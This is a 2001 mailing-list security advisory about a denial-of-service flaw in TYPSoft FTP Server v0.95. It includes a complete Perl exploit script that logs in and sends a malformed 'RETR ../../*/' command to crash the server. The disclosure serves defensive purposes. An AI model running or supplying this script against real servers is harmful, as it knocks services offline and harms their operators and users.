[ASGUARD-LABS] TYPSoft FTP Server v0.95 STOR/RETR Denial of Service Vulnerability

From: J. Wagner (jan.wagnerat_private)
Date: Mon Oct 08 2001 - 05:05:00 PDT

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    -00 ASGUARD LABS ADVISORY 00-

:Summary: 

Release Date	: 	2001-10-04
Affected	:       TYPSoft FTP Server v0.95
Not Affected	:	-
Attack Type	:	Denial Of Service
Credits to	:	Jan Wagner


:Description:

The TYPSoft FTP Server v0.95 contains a simple D.O.S. which affects the "RETR" and "STOR" Command.


:Detail:

If the Server receives a special formed "STOR" or "RETR" command it consumes about 99% CPU Power
and crashes. The Server must be restarted to operate aggain.

Tested on:

Windows 98se [german]
Windows 2000 SP1 [german]


:Exploit Code:

<typ095DOS.pl>
#!/usr/bin/perl

use IO::Socket;
use Socket;

print "-= ASGUARD LABS EXPLOIT - TYPSoft FTP Server v0.95 =-\n\n";

if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl typ095DOS.pl <host> <user>
<pass> [port]\n" };
if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };

$adr = $ARGV[0];
$usr = $ARGV[1];
$pas = $ARGV[2];
$err = "RETR ../../*";

#Both works "STOR" and "RETR"

$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: can't connect  to $adr:$prt\n";

$remote->autoflush(1);

print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die
"Error: can't send user\n";

print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n"  or die
"Error: can't send pass\n";

print $remote "$err/\n" and print "3. Sending : ErrorCode...\n\n"or die
"Error: can't send error code\n";

print "Attack done. press any key to exit\n";
$bla= <STDIN>;
close $remote;


:Solution:

(still) waiting for TYPsoft statement...

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